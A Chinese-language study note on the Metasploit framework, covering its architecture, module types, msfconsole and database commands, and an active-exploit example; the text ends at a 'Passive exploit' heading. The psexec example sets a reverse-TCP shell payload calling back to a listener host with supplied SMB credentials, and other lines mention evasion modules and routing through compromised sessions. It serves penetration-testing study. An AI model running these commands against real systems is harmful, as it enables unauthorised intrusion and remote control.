MSF-基本命令

Metasploit

  • 目前最流行、最强大、最具拓展性的渗透测试平台软件

  • 基于Metasploit进行渗透测试和漏洞分析的流程和方法

  • 2003年由HD More发布第一版,2007年用ruby重写

    • 集成了渗透测试标准(PETS)思想
    • 一定程度上统一了渗透测试和漏洞研究的工作环境
    • 新的攻击代码可以比较容易的加入框架
  • 开发活跃、版本更新频繁(每周)

    • 早期版本基于社区力量维护,被Rapid7收购后打造出其商业版本产品
    • 目前分化为四个版本,社区版本依然十分活跃
    • HD More说:为Metasploit写书是种自虐- -

MSF架构

  • Rex
    • 基本功能库,用于完成日常基本任务无需人工手动编码实现
    • 处理Socket连接访问、协议应答(http/SSL/SMB等)
    • 编码转换(XOR、Base64、Unicode)
  • MSf::Core
    • 提供MSF的核心基本API、是框架的核心功能实现库
  • MSF:Base
    • 提供友好的API接口,便于模块调用的库
  • Plugin插件
    • 连接和调用外部扩展功能和系统(调用sqlmap、nessus、OpenVAS)

技术功能模块

  • /usr/share/metasploit-framework/modules/

  • Exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法。

  • Payload:成功exploit之后,真正在目标系统执行的代码或指令

    • Single:all in one,不需要依赖其它文件,大小比较大
    • Stager:目标计算机内存有限时,先传输一个较小的payload用于建立连接
    • Stages:利用stager建立的连接下载的后续payload
    • Stager、stages都有多种类型,适用于不同场景
  • Auxiliary:执行信息收集、枚举、指纹探测、扫描等功能的辅助模块。

  • Encoders:对payload进行加密

  • Nops:提高payload稳定性及维持大小

  • evasion:免杀0.0


msfconsole

  • Banner

  • color

  • connect

  • show

  • search

    • search xxx,
    • search name:mysql/path:scada/platform:aix/type:aux/author:aaron/cve:2020/可多条件同时搜索
  • search ms08_067

    • use 0
    • info
    • show options/payloads/targes/advanced/evasion/missing(显示需要设置,但是还没设置的参数)
  • edit

  • check(大部分exploit没有)

  • back


  • db_xxx
  • db_connect -y /usr/share/metasploit-framework/config/database.yml(shell中msfdb init后才有这个文件)
  • db_nmap:调用nmap,结果会保存进数据库
  • hosts
    • hosts 1.1.1.1
    • hosts -u,只查看在线host
    • host -c xxx,只查看xxx列
    • host -S xxx,查看信息中包含xxx的host
  • services
    • services -S
    • services -p 445或services -p 1-500
    • services -c host,port 只显示host port 这两列
    • services
  • vulns
    • 查看漏洞信息
  • creds
    • 查看密码相关信息
  • loot
    • 查看hash值
  • db_export
    • db_export -f xml /root/msfbak.xml
  • db_import
    • nmap -A192.168.0.12 -oX nmap.xml,nmap生成的xml也可以导入。

  • setg RHOSTS 1.1.1.1,全局设置RHOSTS变量为1.1.1.1

  • unsetg RHOSTS

  • save 保存当前配置

  • jobs/kill 0

  • sessions 查看建立的连接

    • session -i xx,进入某个session
  • route 通过指定session路由流量

    • route add 10.1.1.0 255.255.255.0 4,通往指定网段的流量由session4路由
  • irb (framework::version)

    • 开发接口
  • resource

    • 把要执行的msf命令写入文件中,
    • msfconsole -r r.rc
    • 然后resource -r 调用
  • load,unload

    • 加载或释放外部模块,插件,比如nessus,openvas等等
  • loadpath,调用指定目录中的模块


Exploit 模块

  • Active expolit
    • use exploit/windows/smb/psexec
    • set RHOST 1.1.1.14
    • set PAYLOAD windows/shell/reverse_tcp
    • set LHOST 1.1.1.10set LPORT 4444
    • set SMBUSER user1
    • set SMBPASS pass1
    • exploit
  • Passive exploit